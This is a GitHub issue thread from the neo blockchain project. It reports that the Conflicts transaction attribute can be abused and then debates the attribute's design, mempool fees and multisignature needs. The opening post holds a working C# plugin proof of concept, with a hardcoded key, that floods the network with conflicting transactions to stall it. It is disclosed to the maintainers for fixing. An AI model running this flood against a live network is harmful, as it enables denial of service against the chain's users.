neo-project / neo

NEO Smart Economy
MIT License
3.46k stars 1.03k forks source link

conflict attribute stops the network #2907

Closed vang1ong7ang closed 10 months ago

vang1ong7ang commented 11 months ago

I think there may be some issues in transaction conflict checking introduced by neo 3.6.0.

anyone can make use of that and stop the entire network with little cost.

PoC:

  1. write a neo plugin like below and install it
  2. start neo-cli and type x, <enter>

(replace 4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc to your secret key if you want)

(replace 1_675_0800 to the correct network fee if necessary)

(replace UInt256.Zero to any tx hash if you want)

using Akka.Actor;
using Neo.IO;
using Neo.Network.P2P.Payloads;
using System;
using System.Linq;
using Neo.ConsoleService;
using Neo.Wallets;
using Neo.SmartContract;
using Neo.VM;
using Neo.SmartContract.Native;
using System.Threading.Tasks;

namespace Neo.Plugins
{
    public class Conflict : Plugin
    {
        private KeyPair KP = new KeyPair("4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc".HexToBytes());
        private NeoSystem NS;
        protected override void OnSystemLoaded(NeoSystem system) => NS = system;
        [ConsoleCommand("x")]
        async private void X()
        {
            Transaction tx = new Transaction
            {
                Version = 0,
                Nonce = 0,
                SystemFee = 0,
                NetworkFee = 1_675_0800,
                ValidUntilBlock = NativeContract.Ledger.CurrentIndex(NS.StoreView) + 1024,
                Script = new byte[] { ((byte)Neo.VM.OpCode.RET) },
                Attributes = new TransactionAttribute[] { new Conflicts { Hash = UInt256.Zero } },
            };

            await Task.Run(() =>
            {
                for (byte i = 0; i < 255; i++)
                    for (byte j = 0; j < 255; j++)
                        for (byte k = 0; k < 255; k++)
                            for (byte l = 0; l < 255; l++)
                            {
                                KeyPair[] kps = new KeyPair[] { KP }.Concat(Enumerable.Range(0, 14).Select(v => new byte[] { 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, i, j, k, l, (byte)v, 0, 0, 0, 0, 0, 0, 37 }).Select(v => new KeyPair(v))).ToArray();
                                tx.Signers = kps.Select(v => new Signer { Account = Contract.CreateSignatureContract(v.PublicKey).ScriptHash, Scopes = WitnessScope.None }).ToArray();
                                tx.Witnesses = kps.Select(v => new Witness { InvocationScript = new byte[] { ((byte)OpCode.PUSHDATA1), 64 }.Concat(tx.Sign(v, NS.Settings.Network)).ToArray(), VerificationScript = Contract.CreateSignatureContract(v.PublicKey).Script }).ToArray();
                                NS.LocalNode.Tell(new Network.P2P.LocalNode.SendDirectly { Inventory = tx });
                                Console.WriteLine($"TX SEND: {i}:{j}:{k}:{l}");
                            }
            });
        }
    }
}
roman-khimov commented 11 months ago
  1. Only allows a single transaction (from a set of ones using the same nonce) for a single account.
  2. Not exactly multi-signer friendly, do we need to check this for every signer account?
  3. Pollutes the chain with failing transactions.
  4. Won't be cheaper, the fee can be set to exactly match the storage price of 57 bytes, we're adding some extra just in case.
vang1ong7ang commented 11 months ago
  1. Only allows a single transaction (from a set of ones using the same nonce) for a single account.
  2. Not exactly multi-signer friendly, do we need to check this for every signer account?

it's easy to expand the contract to support multi-signers. need to check for every any signer account

  1. Pollutes the chain with failing transactions.

Can't really comment on it. I wouldn't care about the dust. (even especially it is already paid)

  1. Won't be cheaper, the fee can be set to exactly match the storage price of 57 bytes, we're adding some extra just in case.

CAN BE CHEAPER IN MOST COMMON CASES

as @AnnaShaleva said:

it is suggested for Conflicts attributes to be more expensive than the contract storage

you're storing 256 bit per attr per signer per tx. how can it be cheaper than counter-bit per tx?

dusmart commented 11 months ago

@vang1ong7ang Are you suggesting to remove the Conflict attribute? I thought NEO will be upgraded to 3.6.0 and this feature will be enabled. Deleting it may introduce another hard fork, too.

Although I like the application level solution, @roman-khimov and other supporters have spend a lot of time on this feature. It sounds kinda of cruel? Have you seen #1991 #2818? There were lots of comments and commits. Plus, @shargon and @AnnaShaleva have spend a lot of time to fix this issue.

vang1ong7ang commented 11 months ago

Deleting it may introduce another hard fork, too.

OH MAN. would be guilty.

just consider the suggestion and i'm fine with any possible solutions

dusmart commented 11 months ago

OH MAN. would be guilty.

I also feel a sense of responsibility for not paying as much attention to the discussions earlier. I genuinely don't want to offend anyone.

Blockchains indeed require upgrades to provide enhanced capabilities. I want to clarify that I'm not opposed to changes in the blockchain itself. Take ZKP as an example; it's a valuable feature. However, in certain cases, such features may not be as appealing, especially when application-level solutions can fulfill most functions.

Reliable interfaces and behaviors are also crucial for blockchains. Personally, I have reservations about changes like #2818 that introduce significant alterations to the core implementation. When weighing their benefits against potential risks, I tend to be more cautious.

I'm not suggesting the deletion of this feature solely because of this particular issue. My intention is to emphasize that future changes, such as #2818, should undergo stricter evaluation and scrutiny. I also believe that an issue or PR might not receive extensive evaluation, which is why we should leverage the NEP more effectively.

vang1ong7ang commented 11 months ago

as @vncoelho said

I am not in favor of all these complex logics on mempool right now.

to be honest, me too.

it seems like txs are fighting with each other in the mempool.

consider the case below:

TX {HASH = 0x0001 FEE = 1}
TX {HASH = 0x0002 CONFLICT = 0x0001 FEE = 2 }
TX {HASH = 0x0003 CONFLICT = 0x0002 FEE = 3 }

// POSSIBLE COMMIT: TX {HASH = 0x0003 CONFLICT = 0x0002 } AND TX {HASH = 0x0001 FEE = 1}
// POSSIBLE COMMIT: TX {HASH = 0x0003 CONFLICT = 0x0002 } ALONE

I have to say: rational nodes are trying to solve a NP problem to reach most network fee as profit.

dusmart commented 11 months ago

it's even possible to stop the consensus

Nope. CNs can and often do have different mempools, it's completely OK. They will get missing transactions and conflicting mempooled transactions do not prevent that, only the proposed (PrepareRequest) list should be consistent. IIRC this was even discussed in #2818.

Theoretically, you are correct. However, considering that issue #2862 persists and is not straightforward to resolve, I must respectfully disagree with your stance on this matter. I believe that, at least for the time being, it is essential for CNs to maintain similar mempools. Moreover, #2818 complicates predicting how different the mempools will become.

vang1ong7ang commented 11 months ago

consider another case:

ALICE IS TRYING TO PLAY SOME GAME ON CHAIN

SHE SEND THE TX { HASH = 0x0001 FEE = 1 }

SUDDENLY SHE REGRETED AND SEND TX { HASH = 0x0002 CONFLICT = 0x0001 FEE = 2 }

SHE REGRETED AGAIN AND SEND TX { HASH = 0x0003 CONFLICT = 0x0001+0x0002 FEE = 3 } // SHE HAS TO PUT BOTH 0x0001 and 0x0002 INTO THE CONFLICT ATTR OTHERWISE SHE WILL EXPERIENCE THE CASE DESCRIBED IN THE COMMENT ABOVE

THEN AGAIN TX { HASH = 0x0004 CONFLICT = 0x0001+0x0002+0x0003 FEE = 3 }

...

UNTIL SHE FINDS: AT MOST THERE CAN BE 15 CONFLICT ATTRIBUTES. SHE CAN'T DO ANYTHING EXCEPT WATCHING THE TX { HASH = 0x0010 CONFLICT = 0x0001..0x000f FEE = 16 }
dusmart commented 11 months ago

ALICE IS TRYING TO PLAY SOME GAME ON CHAIN

NO GAME PLS. MAKES IT HARDER AND HARDER

roman-khimov commented 11 months ago

it's easy to expand the contract to support multi-signers.

Not so much. Consider #1573, this would limit the service to just one request at a time (because the notary contract is a signer for every request) rendering it useless.

I wouldn't care about the dust.

We care about it a lot. One of the features of #1573 is that it's much cheaper than any of the alternatives. This directly affects NeoFS withdrawals for example, either they cost some sane amount of GAS or not (currently the value is not-so-sane). And it works this way exactly because it doesn't leave any dust. The other problem we care about a lot is NeoFS sidechain load, we don't want 7 or 8 transactions to do something there, we want to have 1 that does whatever needs to be done.

how can it be cheaper than counter-bit per tx?

Contract-based nonce costs you a whole additional transaction.

It sounds kinda of cruel?

I've said numerous times in #1991 and in #1573 that I'm absolutely welcome to any alternative suggestions that solve the problem. These things conceptually are 3 (three) years old. Implementation-wise they're more than two years old (https://github.com/nspcc-dev/neo-go/releases/tag/v0.93.0, of course there were some fixes since then). So far I have not seen any. And yeah, "Conflicts" is the most complex beast there.

it seems like txs are fighting with each other in the mempool.

That's the way it is.

consider the case below

This case is not a problem. Nodes can commit whatever they find more appropriate and they can make suboptimal choices (like they can do now with regular transactions).

ALICE IS TRYING TO PLAY SOME GAME ON CHAIN

Yeah, that's the way it is. Blockchain comes with a number of limitations to Alice, that's one of them.

future changes, such as #2818, should undergo stricter evaluation and scrutiny

It was as good as it could be after sitting in a queue for a year. And there were some problems addressed. Not all of them? Maybe. At least all that could be found in this timeframe.

EdgeDLT commented 11 months ago

I'm absolutely welcome to any alternative suggestions that solve the problem.

Feels like a Neo equivalent ERC-4337 solves this and a number of other issues we have, like https://github.com/neo-project/neo/issues/2577. It's what I was getting at in this comment.

The way I see it currently, this issue, NotaryService + https://github.com/neo-project/neo/issues/2907#issuecomment-1725151539 isn't really far off ERC-4337 conceptually. Also makes it entirely opt-in for a consensus node to participate in any of it, which seems ideal considering the changes are affecting liveness.

There's no problem getting consensus nodes to have an equivalent view of transactions/bundles when the bundlers are being incentivized to provide them.

shargon commented 11 months ago

@AnnaShaleva what do you think about only write the sender, not all of the signers?

vang1ong7ang commented 11 months ago

it's easy to expand the contract to support multi-signers.

Not so much. Consider #1573, this would limit the service to just one request at a time (because the notary contract is a signer for every request) rendering it useless.

do not confuse multi-signer transactions with multi-signer conflicts. I think these two problems can be solved independently.

I wouldn't care about the dust.

We care about it a lot. One of the features of #1573 is that it's much cheaper than any of the alternatives. This directly affects NeoFS withdrawals for example, either they cost some sane amount of GAS or not (currently the value is not-so-sane). And it works this way exactly because it doesn't leave any dust. The other problem we care about a lot is NeoFS sidechain load, we don't want 7 or 8 transactions to do something there, we want to have 1 that does whatever needs to be done.

by introducing proposer-builder separation or MEV bot mentioned by @EdgeDLT , the negotiation between the proposer and tx sender can be off-chain and the failed transaction can be filtered by the proposer.

vang1ong7ang commented 11 months ago

UTXO resource lock by bitcoin and increment nonce counter by ethereum are both simple and efficient ways.

just as @shargon questioned:

what do you think about only write the sender, not all of the signers?

Is the multi signer conflict problem really necessary to be solved? it could be easily solved by introducing an intermediate contract based multisig agent wallet.

when you want to cancel / conflict / replace an existing transaction as soon as possible, a rational signer won't collect more than one signature since a single signature is enough to conflict with the existing one.

on the other hand, when you want a transaction can be easily canceled / conflicted / replaced by multiple partners, introducing an intermediate proxy account that any one of you is able to control is a workable solution.

it's not necessary to solve a non-existing situation that looks general.

vang1ong7ang commented 11 months ago

@AnnaShaleva is a careful, rigorous and smart person that I admire very much. but dancing with shackles is difficult after all.

No matter how wonderful this implementation is, it cannot escape the situation of:

if the conflict fee is charged, the transaction replace fee grow by O(n) where n is the times of the tx being replaced.

roman-khimov commented 11 months ago

equivalent ERC-4337

I know almost nothing about the E-letter chain, but some quick thoughts I had after glancing over it are:

the negotiation between the proposer and tx sender can be off-chain and the failed transaction can be filtered by the proposer

Who is to pay for this filtering and in what manner? Otherwise it'll be abused.

Is the multi signer conflict problem really necessary to be solved?

Yes. #1573 relies on it (main transaction can be paid for by anyone, fallbacks are paid for by the Notary contract (out of predeposited GAS of course)).

No matter how wonderful this implementation is, it cannot escape the situation of

Absolutely true and attr+signers <= 16 is one of the strangest limitations of Neo for me for years (specifically the mix of attributes and signers into the same limit). But it never was a problem practically and can easily be changed if need be.

EdgeDLT commented 11 months ago

Who is to pay for this filtering and in what manner? Otherwise it'll be abused.

The user pays. The bundler won't include an operation which doesn't pay their fee, and that fee could be paid in any token they choose to accept. The operation includes a nonce, so the user can re-submit it any number of times and simply increase the bounty to pay for the effort.

This mechanism also solves the problem of new Neo users being unable to transfer assets because they don't have enough GAS when sponsorship isn't available.

roman-khimov commented 11 months ago

Looks like we're talking different use cases and different problems now.

EdgeDLT commented 11 months ago

different use cases and different problems now

Respectfully disagree, though I'm biased. These are all the same problems, fundamental pain points with Neo that inhibit user and developer adoption. Who are we building for?

IMHO, Neo core has the issues of laser focus and bad prioritization. We solve the predominant issue of the moment, in isolation from the other issues, then move on to the next one. Throw in a hard fork or resync here and there, job done. There is no grand direction, so major pain points go unsolved for years, and the things we do solve often cause more pain later down the road. You have more examples than I do, I'm positive.

If we have an opportunity to solve many pain points on Neo in one go, it should merit serious consideration. Don't hand wave it and laser focus on "the solution to Conflict handling". It's laser focus that got us into this mess. We can't see the forest for the trees.

Transaction conflicts is a sort of okay example of a pain point Neo has, which makes a solution that addresses it relevant. And frankly, this particular pain point is incredibly niche compared to some of the others I've mentioned above. Again, who are we building for? How many of Neo's future users are going to use the Conflict attribute? A tiny fraction? How many would benefit from gas-free transfers, keyless accounts, social recovery? The millions we hope to onboard?

Neo provides close to infinite abilities at L1 accounts thanks to verification scripts

It's exactly as you said. Neo doesn't have that problem. We have verification scripts. We can just provide an interop for abstracted accounts, like https://github.com/neo-project/neo/issues/2866. It is a fantastic opportunity to enhance Neo's user and developer experience in a fundamental way. ERC-4337 is honestly quite bad, and it's because it's not part of the protocol. They have to deploy a contract for custom verification logic. Acquiring an "account abstracted" user = contract deployment fee.

It's the same quandary @melanke and myself are in right now. We have a custodial production application that must go non-custodial. Our only options are "cripple the user experience and onboarding power", or "pay 10 GAS to acquire every new user and still cripple the user experience." Only Neo core can change that.

vang1ong7ang commented 11 months ago

I know almost nothing about the E-letter chain, but some quick thoughts I had after glancing over it are:

  • E-chain has very limited account concept at the L1 layer, it's basically one key -- one account
  • contracts allow to solve it, have multisig, etc
  • Neo provides close to infinite abilities at L1 accounts thanks to verification scripts
  • when any non-trivial account is a contract, tying a bit more logic to these contracts makes sense
  • the part that decouples operations from transactions is in some ways reminiscent of System.Crypto.CheckData interop #2866 (but this one again is compatible with any Neo accounts)
  • it's interesting that they had to limit some functions to ensure that the operation can pay its fees. That's one of the key problems Network assistance for multisignature transaction forming #1573 solves and it doesn't limit anything, transactions can execute whatever scripts they want.

the V-letter man cannot fully agree with those comments but i'm not going to be too far from the current topic.

vang1ong7ang commented 11 months ago

Is the multi signer conflict problem really necessary to be solved?

Yes. #1573 relies on it (main transaction can be paid for by anyone, fallbacks are paid for by the Notary contract (out of predeposited GAS of course)).

I don't understand why #1573 have to rely on this. can you explain it in more detail? on both sufficiency and necessity.

AnnaShaleva commented 11 months ago

what do you think about only write the sender, not all of the signers?

@shargon, it adds some unnecessary overhead to Conflicts attribute users. Because if the conflict is considered to be valid only in case if its sender matches the base transaction's sender, then users of Conflicts attribute will have to develop and manage extra workarounds, e.g. how @vang1ong7ang mentioned, they have to introduce some intermediate proxy contract to properly handle those situations where "the sender condition" can't be kept. It's possible to add this restriction, but I'm not in favor of this solution, because it will make the users' services more complicated. And now when we changed the storage scheme and added the price restriction, I don't think we need to afraid of the DB explosion or the node performance degradation anymore.

roman-khimov commented 11 months ago

@EdgeDLT, I can agree with many points, but if we're to specifically concentrate on Conflicts then it's rather simple, it's an integral part of the #1573 solution. That can be used for other things, as noted in #1991. If we don't have it, we don't have #1573 solution (and #2577, and many other things, as I've said, with #1573 base real-time oracles can be built in a week), simple as that. If there is any other solution for #1573, I'm all ears. If we don't need it, OK, we'll keep it in the NeoFS sidechain (and will keep growing the extensions list) and let's just drop Conflicts in 3.6.1 (hi, #2914)

The thing is, I'm pretty open about problems we're interested in. They mostly come from NeoFS needs, because it's not just Neo that has NeoFS, it's NeoFS that has Neo inside as well. And usually we're ready to provide some solutions to these problems. That's why there are #1573, #1991, #2577, #2866, neo-project/proposals#156, neo-project/proposals#160 and some others. That's why #2905. If there are any problems with these solutions, we can either fix them or replace them.

Oh, there is also an option of not doing anything at all. Sorry, forgot about that.

@vang1ong7ang, please check https://github.com/neo-project/neo/issues/1573#issuecomment-704874472. We have a single main transaction that we want to complete there and N (like 7) fallbacks that all conflict with it. The only common signer between them is the Notary contract. It MUST NOT be the sender of the main transaction, it MUST be the sender of the fallback. They usually don't have any other common signer.

vang1ong7ang commented 11 months ago

@AnnaShaleva

I'm not going to consist on my proposal because everyone has its own subjective preference.

I think #2913 does solve the original performance problem and it works.

let bosses make the decision and move on

vang1ong7ang commented 11 months ago

@roman-khimov

Current solutions

Off-chain non-P2P collection

Either manual or using some additional network connectivity. Has an obvious downside of reliance on something external to the network. If it's manual, it's slow and error-prone, if it's automated, it requires additional protocol for all the parties involved. For the protocol used by oracle nodes that also means explicitly exposing nodes to each other.

On-chain collection

Can be done by a contract, but going through the chain for "M out of N" multsignature means that:

  • it can only be app-specific (meaning that for every use case this logic would be duplicated) because we can't create transactions from transactions (thus using proper multisignature account is not possible)
  • we need at least M transactions instead of one we really wanted to have, but in reality we'll create and process N of them, so this adds substantial overhead to the chain
  • some GAS is inevitably wasted because any invocation could either go the easy path (just adding a signature to the list) or really invoke the function we wanted to (when all signatures are in place), so test invocations don't really help and the user needs to add some GAS to all of these transactions

Originally posted by @roman-khimov in https://github.com/neo-project/neo/issues/1573#issuecomment-704874472

I think the existing solutions are good enough. the shortcomings you stated do not hold true.

roman-khimov commented 11 months ago

@vang1ong7ang, we're obviously coming from different perspectives. If you can make something (Safe-alike or not) for Neo (with scopes and things), collect signatures in sub-block time --- be my guest. Just remember that NeoFS totally depends on multisignature collection and it's not that we need a service for a network, we need it for the main network, we need it for the sidechain, we need it for private networks, we need it everywhere. Keep in mind #2806 for the GAS dust as well.

EdgeDLT commented 11 months ago

but if we're to specifically concentrate on Conflicts then it's rather simple, it's an integral part of the https://github.com/neo-project/neo/issues/1573 solution

If there is any other solution for https://github.com/neo-project/neo/issues/1573, I'm all ears

The approach I proposed includes #1573 functionality, just as it includes #2907, just as it includes (or rather, would rely on) #2866 or similar. P2P Notary role is basically the proposed bundler already, the only real difference is that it hasn't been generalized beyond the multi-sig use case!

Can we recognize that there's nothing new about the ideas and issues I've presented here. Most of them are scattered across existing issues, we've tagged many of them, probably most of them Neo SPCC suggested in the first place because they were relevant for NeoFS. So by no means am I asking you to drop what you need for NeoFS to work. I'm asking you to help find a way to extend the ideas already brought to the table in order to improve all the other applications while we're at it.

A unified solution is required because these problems are connected, we've just been treating them as separate. It comes down to the fact that we lack flexibility in how state updates can be pushed to the network. For NeoFS, you need practical multi-sig operations. For my application, I need to be able to let someone self-custody without requiring them to safeguard a private key or understand how to use a wallet. Any application on Neo requires an end user to have a GAS balance. These are all barriers that can disappear simultaneously if we just abstract them away thoughtfully.

I don't know Neo or the NeoGo extensions inside and out. I really wish I could give you a neatly wrapped proposal that addresses all the nuances of implementation. But I can't, it's beyond my ability today. So it's incredibly frustrating when I know the solution exists (I can use it right now elsewhere), and the only people that can make this a reality are seemingly disinterested, despite showing interest in the individual components alone.

Oh, there is also an option of not doing anything at all. Sorry, forgot about that.

Right... and my practical choices as the lead for GasBot are:

  1. Pay 30,000+ GAS to migrate our current users to contract wallets, then pay 10 GAS for each new one thereafter, and still have made everything about the app UX significantly worse
  2. Abandon Neo, move to Ethereum or an EVM L2 where the tools I need to avoid regulatory pressure have been made available
  3. Just give up and shut down what is arguably the most powerful new user onboarding application we have in the ecosystem

I'm asking you (Neo core) to give me a fourth option. I can't design it. All I can offer is perspective. I'm an astronaut, you are the rocket scientists. You know the engineering better than I ever will. Think I've said all I can on this topic. Please think it over.

roman-khimov commented 11 months ago

P2P Notary role is basically the proposed bundler already, the only real difference is that it hasn't been generalized beyond the multi-sig use case!

We can think of extending it. At the moment it can do both multi-signature (multiple keys for a single signer) and multi-signer, given the signer flexibility of Neo that can solve a lot of things. But at the moment we don't have it in mainline Neo even in the original, transaction-related scope.

improve all the other applications while we're at it

I've said that most of our proposals come from direct NeoFS needs. But to be fair, we could've simplified many things (#1573 included) if they were absolutely NeoFS-specific (tune for the particular use case and be done with it or implement in NeoGo and forget about it). That would mean a substantially different (from mainline Neo) sidechain with zero possibility for convergence (and potentially more unknown problems like here). So we try thinking of more generic solutions that cover more scenarios than just NeoFS.

I need to be able to let someone self-custody without requiring them to safeguard a private key or understand how to use a wallet

Maybe we need to talk about it. To me it looks like most of your problems are #2577, but maybe I'm missing something. And in general I agree that any real feedback for any real dApp should be prioritized.